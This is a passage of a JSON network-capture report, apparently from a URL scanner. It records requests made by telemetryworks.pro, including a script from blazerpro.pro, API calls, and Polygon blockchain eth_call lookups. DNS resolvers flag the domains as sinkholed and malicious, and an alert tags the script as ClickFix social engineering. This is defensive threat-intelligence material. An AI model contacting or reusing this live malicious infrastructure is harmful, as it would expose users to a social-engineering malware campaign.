Cloud.svg","categories":["IaaS"]},{"name":"Envoy","description":"Envoy is an open-source edge and service proxy, designed for cloud-native applications.","website":"https://www.envoyproxy.io/","common_platform_enumeration":"cpe:2.3:a:envoyproxy:envoy:*:*:*:*:*:*:*:*","icon":"Envoy.png","categories":["Reverse proxies"]},{"name":"Google Cloud CDN","description":"Cloud CDN uses Google's global edge network to serve content closer to users.","website":"https://cloud.google.com/cdn","common_platform_enumeration":"","icon":"google-cloud-cdn.svg","categories":["CDN"]}],"data":{"size":230,"size_decoded":514,"mime_type":"application/json; charset=utf-8","magic":"JSON text data","md5":"2525df1e3032e0cad9aea6d1f2075adf","sha1":"7eef4a874e9ba1e5a93b982cef24c05bc658fab3","sha256":"50add2d8809fd0e5d021e6bd551811558975bf741167baa7b86ff929cbecc277","sha512":"b00d43bf269fd67e5b51ccae506e162b72bfc82ceb0bb8004e8f6f8fe62a38a524e8eaf7d90155475907a98871723c4168afdb29f206319d0b0ba6b58b84dcf4","ssdeep":"","tlshash":"5ad022e0038ec333cc0c0c00e08833b022383bca88c20e02e30e00c0008822fb222302","first_seen":"2026-08-02T22:27:59.802067Z","last_seen":"2026-08-05T23:24:57.659033Z","times_seen":9,"resource_available":false,"data":null}},"time_used":105,"timings":{"blocked":-1,"dns":18,"connect":13,"send":0,"wait":55,"receive":0,"ssl":18},"alerts":{"ids":null,"analyzer":null,"urlquery":null}},{"url":{"schema":"https","addr":"telemetryworks.pro/log.php?t=pageview\u0026src=\u0026dv=desktop\u0026r=\u0026_=1785964437997","fqdn":"telemetryworks.pro","domain":"telemetryworks.pro","tld":"pro"},"ip":{"addr":"172.67.180.139","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"is_navigation_request":false,"resource_type":"img","requested_by":"https://telemetryworks.pro/","date":"2026-08-05T21:13:58.217Z","timestamp":1785964438217,"http_version":"HTTP/3","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"mlkem768x25519","signature_name":"ECDSA-P256-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"telemetryworks.pro","organization":""},"issuer":{"commonName":"WE1","organization":"Google Trust Services"},"validity":{"start":"Wed, 29 Jul 2026 06:46:09 GMT","end":"Tue, 27 Oct 2026 07:42:11 GMT"},"fingerprint":{"sha1":"19:A8:B8:4A:E9:FA:47:2E:E8:1E:CE:03:B1:E6:D9:F2:9A:16:88:4D","sha256":"7C:F4:1A:C2:B1:F5:72:01:5E:B9:CB:77:2E:D6:35:CF:21:52:3B:94:70:D5:A4:9E:D2:A4:69:00:65:4E:99:CE"}}},"request":{"raw":"GET /log.php?t=pageview\u0026src=\u0026dv=desktop\u0026r=\u0026_=1785964437997 HTTP/1.1\r\nHost: telemetryworks.pro\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://telemetryworks.pro/\r\nSec-Fetch-Dest: image\r\nSec-Fetch-Mode: no-cors\r\nSec-Fetch-Site: same-origin\r\nPriority: u=5, i\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/3 200 \r\ndate: Wed, 05 Aug 2026 21:13:58 GMT\r\nserver: cloudflare\r\naccess-control-allow-origin: *\r\naccess-control-allow-methods: GET, POST, OPTIONS\r\npriority: u=5,i\r\nserver-timing: cfExtPri\r\nreport-to: {\"group\":\"cf-nel\",\"max_age\":604800,\"endpoints\":[{\"url\":\"https://a.nel.cloudflare.com/report/v4?s=aELSmXAUMoy07qmYNMqdKCuHKWvb1sEg62fUheAK%2B7x8fwiRWBbMVhsQP6AwEzLWH9dFKOgL2vAZRhmxLBwHDh6it2O1rK%2F%2Fow3vUcL71UZrTfSlsgFQdqsTneeXPx%2FF2PG2%2Frs%3D\"}]}\r\ncontent-type: image/gif\r\ncf-cache-status: DYNAMIC\r\nnel: {\"report_to\":\"cf-nel\",\"success_fraction\":0.0,\"max_age\":604800}\r\ncf-ray: a268cf0adcb9723c-OSL\r\nalt-svc: h3=\":443\"; ma=86400\r\ncontent-length: 42\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]}],"data":{"size":42,"size_decoded":700,"mime_type":"image/gif","magic":"GIF image data, version 89a, 1 x 1","md5":"d89746888da2d9510b64a9f031eaecd5","sha1":"d5fceb6532643d0d84ffe09c40c481ecdf59e15a","sha256":"ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629","sha512":"d5da26b5d496edb0221df1a4057a8b0285d15592a8f8dc7016a294df37ed335f3fde6a2252962e0df38b62847f8b771463a0124ef3f84299f262ed9d9d3cee4c","ssdeep":"","tlshash":"c4900023fa808000c3a8c2300a0b238a2b8c80200a28030b80ae208cec3a3a22c03020","first_seen":"2023-04-05T02:54:03Z","last_seen":"2026-08-05T23:04:03.975971Z","times_seen":1021603,"resource_available":true,"data":null}},"time_used":107,"timings":{"blocked":-1,"dns":0,"connect":0,"send":0,"wait":107,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"dns4eu","sensor_type":"DNS","title":"DNS4EU","description":"DNS4EU","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"telemetryworks.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.joindns4.eu/","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"telemetryworks.pro","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null},{"sensor_name":"cloudflare_dns","sensor_type":"DNS","title":"Cloudflare DNS","description":"Cloudflare DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"telemetryworks.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.cloudflare.com/application-services/products/dns/","meta":null},{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"telemetryworks.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"blazerpro.pro/cf.js?v=2","fqdn":"blazerpro.pro","domain":"blazerpro.pro","tld":"pro"},"ip":{"addr":"172.67.211.20","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"is_navigation_request":false,"resource_type":"script","requested_by":"https://telemetryworks.pro/","date":"2026-08-05T21:13:58.463Z","timestamp":1785964438463,"http_version":"HTTP/3","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"mlkem768x25519","signature_name":"ECDSA-P256-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"blazerpro.pro","organization":""},"issuer":{"commonName":"WE1","organization":"Google Trust Services"},"validity":{"start":"Wed, 29 Jul 2026 14:20:24 GMT","end":"Tue, 27 Oct 2026 15:18:53 GMT"},"fingerprint":{"sha1":"5C:39:27:14:67:A6:9D:23:7E:1A:5C:AF:CD:ED:35:95:AF:A2:F2:C6","sha256":"BA:7E:E6:C6:23:3F:3B:0B:0D:73:51:E6:A9:ED:25:F3:69:09:25:44:A8:7B:0E:A1:D3:7C:5E:D8:92:89:A6:ED"}}},"request":{"raw":"GET /cf.js?v=2 HTTP/1.1\r\nHost: blazerpro.pro\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nSec-Fetch-Storage-Access: none\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://telemetryworks.pro/\r\nSec-Fetch-Dest: script\r\nSec-Fetch-Mode: no-cors\r\nSec-Fetch-Site: cross-site\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/3 200 \r\ndate: Wed, 05 Aug 2026 21:13:58 GMT\r\nserver: cloudflare\r\nlast-modified: Thu, 23 Jul 2026 00:57:28 GMT\r\netag: \"68296-6573cbd7c2d3f-gzip\"\r\naccept-ranges: bytes\r\nvary: Accept-Encoding\r\ncontent-encoding: gzip\r\ncache-control: no-cache, no-store, must-revalidate\r\npragma: no-cache\r\nexpires: 0\r\nnel: {\"report_to\":\"cf-nel\",\"success_fraction\":0.0,\"max_age\":604800}\r\nreport-to: {\"group\":\"cf-nel\",\"max_age\":604800,\"endpoints\":[{\"url\":\"https://a.nel.cloudflare.com/report/v4?s=h3saogazKLPP5fCF6kvLrfE78WIbigKpehwa6yrXWL1zCM9Wq2YHy%2B40VgLZ56pvq3FxNe8jGkE1x8T5%2Bwtm8JJREfpetc%2FBxnrDu9q8lUm0rlZNzTC34mUZN81VKjDI\"}]}\r\npriority: u=3,i=?0\r\ncontent-type: text/javascript\r\ncf-cache-status: BYPASS\r\ncf-ray: a268cf0c7f7b7127-OSL\r\nalt-svc: h3=\":443\"; ma=86400\r\nserver-timing: cfExtPri\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]}],"data":{"size":426646,"size_decoded":265883,"mime_type":"text/javascript","magic":"JavaScript source, Unicode text, UTF-8 text, with very long lines (51396), with CRLF line terminators","md5":"a7b2e683a634aa993dd559017f228c0a","sha1":"f760b29972321ba8e05e3d7c88b161185d167cc2","sha256":"3e0ebd5eeaecb9d289fd21046508fd8ff50ebe9293d4f7aa3bd938cee9135db6","sha512":"1a05c6657f628bab52c56f5193a19a9ca8dfd5357a2a4b9209d2f6f9ad8540214c2e71aba10b29f58546975fe5c4e799f9f35d87adc624dc293cc86789535fd9","ssdeep":"6144:KXOt8uGgr25Ot8uGgr2QOt8uGgr2HOt8uGgr2AR9abd3q1:K+i/grRi/grGi/grXi/grfR9abd8","tlshash":"1294d077596f2f1425275d95a0042b146cf938bbea00c7e4bcdc48a66bf8530dd2eaf8","first_seen":"2026-07-24T10:51:36.657157Z","last_seen":"2026-08-05T23:24:57.684921Z","times_seen":22,"resource_available":true,"data":null}},"time_used":179,"timings":{"blocked":0,"dns":0,"connect":12,"send":0,"wait":67,"receive":99,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"dns4eu","sensor_type":"DNS","title":"DNS4EU","description":"DNS4EU","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.joindns4.eu/","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null},{"sensor_name":"cloudflare_dns","sensor_type":"DNS","title":"Cloudflare DNS","description":"Cloudflare DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.cloudflare.com/application-services/products/dns/","meta":null}],"urlquery":[{"sensor_name":"urlquery","alert":"Malicious - Copy/Paste Social Engineering (ClickFix)","verdict":"malicious","severity":"medium","comment":"","tags":["malicious","clickfix"],"meta":null}]}},{"url":{"schema":"https","addr":"blazerpro.pro/api/index.php?q=fjc-UTLX7zVzZpNNawI\u0026src=telemetryworks.pro","fqdn":"blazerpro.pro","domain":"blazerpro.pro","tld":"pro"},"ip":{"addr":"172.67.211.20","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"is_navigation_request":false,"resource_type":"xhr","requested_by":"https://telemetryworks.pro/","date":"2026-08-05T21:13:58.671Z","timestamp":1785964438671,"http_version":"HTTP/3","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"mlkem768x25519","signature_name":"ECDSA-P256-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"blazerpro.pro","organization":""},"issuer":{"commonName":"WE1","organization":"Google Trust Services"},"validity":{"start":"Wed, 29 Jul 2026 14:20:24 GMT","end":"Tue, 27 Oct 2026 15:18:53 GMT"},"fingerprint":{"sha1":"5C:39:27:14:67:A6:9D:23:7E:1A:5C:AF:CD:ED:35:95:AF:A2:F2:C6","sha256":"BA:7E:E6:C6:23:3F:3B:0B:0D:73:51:E6:A9:ED:25:F3:69:09:25:44:A8:7B:0E:A1:D3:7C:5E:D8:92:89:A6:ED"}}},"request":{"raw":"GET /api/index.php?q=fjc-UTLX7zVzZpNNawI\u0026src=telemetryworks.pro HTTP/1.1\r\nHost: blazerpro.pro\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nOrigin: https://telemetryworks.pro\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://telemetryworks.pro/\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/3 200 \r\ndate: Wed, 05 Aug 2026 21:13:58 GMT\r\nserver: cloudflare\r\naccess-control-allow-origin: *\r\naccess-control-allow-methods: GET, POST, OPTIONS\r\naccess-control-allow-headers: Content-Type, Authorization, User-Agent\r\nx-captcha-mode: 2\r\npriority: u=3,i=?0\r\nnel: {\"report_to\":\"cf-nel\",\"success_fraction\":0.0,\"max_age\":604800}\r\nreport-to: {\"group\":\"cf-nel\",\"max_age\":604800,\"endpoints\":[{\"url\":\"https://a.nel.cloudflare.com/report/v4?s=Bw49NmMRJQ4C0EcmE6pK%2BYpFZi2T3X6AXRFrODHuAxrpIYkgUA4YocD10YOwmvx%2FuANptOsYUfh6feuO1TS14up1w8owgRFW48PttVYGIVtOU5y0GV0oln3XIQn0iKO7\"}]}\r\ncontent-type: text/plain;charset=UTF-8\r\ncf-cache-status: DYNAMIC\r\ncontent-encoding: zstd\r\ncf-ray: a268cf0da8ffc759-OSL\r\nalt-svc: h3=\":443\"; ma=86400\r\nserver-timing: cfExtPri\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]}],"data":{"size":244,"size_decoded":963,"mime_type":"text/plain; charset=UTF-8","magic":"ASCII text, with no line terminators","md5":"e52e49b13e7e20e24788bc17ebba8524","sha1":"cd4554a729d21fc4e55c7618f4f3b4109af631ee","sha256":"856f645c22b5378de4a824634227f88da86879a62290473a4bd920cc756c5709","sha512":"b9ff4872d350524bd6bd796b977fec769d35ff8bd5867fe809bb7b64461793c29456b2f8674d612d3c0eed773c0c3435b8fa1ee9a9e1c09ac7bd3106c12226c8","ssdeep":"","tlshash":"31d095f75404586f914de06651875914440717bd17e00b51b5e5170f4d60078c751722","first_seen":"2026-08-05T21:08:05.18962Z","last_seen":"2026-08-05T21:14:25.907394Z","times_seen":2,"resource_available":false,"data":null}},"time_used":292,"timings":{"blocked":-1,"dns":0,"connect":0,"send":0,"wait":292,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"cloudflare_dns","sensor_type":"DNS","title":"Cloudflare DNS","description":"Cloudflare DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.cloudflare.com/application-services/products/dns/","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null},{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"dns4eu","sensor_type":"DNS","title":"DNS4EU","description":"DNS4EU","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.joindns4.eu/","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"polygon-bor-rpc.publicnode.com/","fqdn":"polygon-bor-rpc.publicnode.com","domain":"publicnode.com","tld":"com"},"ip":{"addr":"172.66.150.162","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"is_navigation_request":false,"resource_type":"xhr","requested_by":"https://telemetryworks.pro/","date":"2026-08-05T21:13:58.197Z","timestamp":1785964438197,"http_version":"HTTP/3","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"mlkem768x25519","signature_name":"ECDSA-P256-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"publicnode.com","organization":""},"issuer":{"commonName":"WE1","organization":"Google Trust Services"},"validity":{"start":"Tue, 09 Jun 2026 01:05:04 GMT","end":"Mon, 07 Sep 2026 02:05:00 GMT"},"fingerprint":{"sha1":"39:B4:D5:B4:26:71:60:64:13:47:CC:54:ED:BC:AD:E1:33:77:19:00","sha256":"65:A9:40:31:FB:2A:25:C7:3B:B6:B3:F0:4E:96:B9:08:CE:FC:27:5A:F6:DB:32:E8:7E:64:C7:51:34:DA:93:85"}}},"request":{"raw":"POST / HTTP/1.1\r\nHost: polygon-bor-rpc.publicnode.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nContent-Type: text/plain\r\nContent-Length: 136\r\nOrigin: https://telemetryworks.pro\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://telemetryworks.pro/\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST","post_data":{"size":136,"data":"{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0x08207B087F61d7e95E441E15fd6d40BEfd6eD308\",\"data\":\"0x38bcdc1c\"},\"latest\"],\"id\":1}"}},"response":{"raw":"HTTP/3 200 \r\naccess-control-allow-credentials: true\r\naccess-control-allow-origin: *\r\naccess-control-max-age: 1728000\r\ncontent-type: application/json\r\nstrict-transport-security: max-age=31536000; includeSubDomains; preload\r\nvary: Origin, accept-encoding\r\ndate: Wed, 05 Aug 2026 21:13:58 GMT\r\npriority: u=3,i=?0\r\nx-envoy-upstream-service-time: 91\r\nserver: cloudflare\r\ncf-cache-status: DYNAMIC\r\nx-content-type-options: nosniff\r\ncontent-encoding: br\r\ncf-ray: a268cf0adaad56b5-OSL\r\nalt-svc: h3=\":443\"; ma=86400\r\nserver-timing: cfExtPri\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"Envoy","description":"Envoy is an open-source edge and service proxy, designed for cloud-native applications.","website":"https://www.envoyproxy.io/","common_platform_enumeration":"cpe:2.3:a:envoyproxy:envoy:*:*:*:*:*:*:*:*","icon":"Envoy.png","categories":["Reverse proxies"]},{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]},{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]}],"data":{"size":231,"size_decoded":610,"mime_type":"application/json","magic":"JSON text data","md5":"c24032f38eb8a2399221b8f1716b3cbb","sha1":"4bce08002e0bc178b5f58b5cde7f7835ad77e0a1","sha256":"8370a6d1ccab29003efd9cee040c66d4f999fe88d1a947fd4802b2d6695a08b1","sha512":"ce3392c6101bf7d1b45ca0f92fcf74ae816cbdc200a857a2d09434e1868325c1dbf64b1434b4484818a85b1893fcf4843a3e19989a4b08a5c261c04339cb6898","ssdeep":"","tlshash":"74d022a0038ec333c80c0c00e08832a02330beca8cc20e02a38e08c0028822fb322322","first_seen":"2026-08-02T22:27:59.840428Z","last_seen":"2026-08-05T23:24:57.7245Z","times_seen":8,"resource_available":false,"data":null}},"time_used":155,"timings":{"blocked":-1,"dns":4,"connect":14,"send":0,"wait":136,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":null,"urlquery":null}},{"url":{"schema":"https","addr":"rpc.ankr.com/polygon","fqdn":"rpc.ankr.com","domain":"ankr.com","tld":"com"},"ip":{"addr":"","port":0,"asn":0,"as":"","country":"","country_code":"zz"},"is_navigation_request":false,"resource_type":"xhr","requested_by":"https://telemetryworks.pro/","date":"2026-08-05T21:13:58.206Z","timestamp":1785964438206,"http_version":"","security_state":"insecure","security_info":null,"request":{"raw":"POST /polygon HTTP/1.1\r\nHost: rpc.ankr.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nContent-Type: text/plain\r\nContent-Length: 136\r\nOrigin: https://telemetryworks.pro\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://telemetryworks.pro/\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST"},"response":{"raw":"","headers":null,"cookies":null,"status_code":"","status_text":"","fingerprints":null,"data":{"size":0,"size_decoded":0,"mime_type":"","magic":"","md5":"d41d8cd98f00b204e9800998ecf8427e","sha1":"da39a3ee5e6b4b0d3255bfef95601890afd80709","sha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","sha512":"cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e","ssdeep":"","tlshash":"","first_seen":"0001-01-01T00:00:00Z","last_seen":"2026-08-05T23:03:04.169812Z","times_seen":17732675,"resource_available":true,"data":null}},"time_used":0,"timings":{"blocked":0,"dns":0,"connect":0,"send":0,"wait":0,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":null,"urlquery":null}},{"url":{"schema":"https","addr":"blazerpro.pro/api/index.php?q=IUEdaGD4ZDHzzSYotw","fqdn":"blazerpro.pro","domain":"blazerpro.pro","tld":"pro"},"ip":{"addr":"172.67.211.20","port":443,"asn":13335,"as":"CLOUDFLARENET","country":"","country_code":"zz"},"is_navigation_request":false,"resource_type":"xhr","requested_by":"https://telemetryworks.pro/","date":"2026-08-05T21:13:58.672Z","timestamp":1785964438672,"http_version":"HTTP/3","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"mlkem768x25519","signature_name":"ECDSA-P256-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"blazerpro.pro","organization":""},"issuer":{"commonName":"WE1","organization":"Google Trust Services"},"validity":{"start":"Wed, 29 Jul 2026 14:20:24 GMT","end":"Tue, 27 Oct 2026 15:18:53 GMT"},"fingerprint":{"sha1":"5C:39:27:14:67:A6:9D:23:7E:1A:5C:AF:CD:ED:35:95:AF:A2:F2:C6","sha256":"BA:7E:E6:C6:23:3F:3B:0B:0D:73:51:E6:A9:ED:25:F3:69:09:25:44:A8:7B:0E:A1:D3:7C:5E:D8:92:89:A6:ED"}}},"request":{"raw":"OPTIONS /api/index.php?q=IUEdaGD4ZDHzzSYotw HTTP/1.1\r\nHost: blazerpro.pro\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nAccess-Control-Request-Method: POST\r\nAccess-Control-Request-Headers: content-type\r\nReferer: https://telemetryworks.pro/\r\nOrigin: https://telemetryworks.pro\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=4\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"OPTIONS"},"response":{"raw":"HTTP/3 204 \r\ndate: Wed, 05 Aug 2026 21:13:58 GMT\r\nserver: cloudflare\r\naccess-control-allow-origin: *\r\naccess-control-allow-methods: GET, POST, OPTIONS\r\naccess-control-allow-headers: Content-Type, Authorization, User-Agent\r\nnel: {\"report_to\":\"cf-nel\",\"success_fraction\":0.0,\"max_age\":604800}\r\npriority: u=4,i=?0\r\ncf-cache-status: DYNAMIC\r\nreport-to: {\"group\":\"cf-nel\",\"max_age\":604800,\"endpoints\":[{\"url\":\"https://a.nel.cloudflare.com/report/v4?s=T7p7brTEvHHe5ErzMwWc9%2FTODqzPKf1vWyqwRJ8rUm2T%2BQ0tUziyW4pbTWrrEcX0Y8m4km7eplwWSrSteMQ3viuS4Xv%2FQZoPXS%2Bdtkq4Pi%2BpSNpxzKzTM2RDTKcw10Pj\"}]}\r\ncf-ray: a268cf0da901c759-OSL\r\nalt-svc: h3=\":443\"; ma=86400\r\nserver-timing: cfExtPri\r\n\r\n","headers":null,"cookies":null,"status_code":"204","status_text":"","fingerprints":[{"name":"Cloudflare","description":"Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.","website":"https://www.cloudflare.com","common_platform_enumeration":"","icon":"CloudFlare.svg","categories":["CDN"]}],"data":{"size":0,"size_decoded":677,"mime_type":"text/plain","magic":"","md5":"d41d8cd98f00b204e9800998ecf8427e","sha1":"da39a3ee5e6b4b0d3255bfef95601890afd80709","sha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","sha512":"cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e","ssdeep":"","tlshash":"","first_seen":"0001-01-01T00:00:00Z","last_seen":"2026-08-05T23:03:04.169812Z","times_seen":17732675,"resource_available":true,"data":null}},"time_used":59,"timings":{"blocked":-1,"dns":0,"connect":0,"send":0,"wait":59,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"dns4eu","sensor_type":"DNS","title":"DNS4EU","description":"DNS4EU","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.joindns4.eu/","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null},{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"cloudflare_dns","sensor_type":"DNS","title":"Cloudflare DNS","description":"Cloudflare DNS","scan_date":"2026-08-05","alert":"Sinkholed","trigger":"blazerpro.pro","verdict":"malicious","severity":"medium","comment":"","link":"https://www.cloudflare.com/application-services/products/dns/","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"upload.wikimedia.org/wikipedia/commons/9/94/Cloudflare_Logo.png","fqdn":"upload.wikimedia.org","domain":"wikimedia.org","tld":"org"},"ip":{"addr":"185.15.59.240","port":443,"asn":14907,"as":"WIKIMEDIA","country":"United 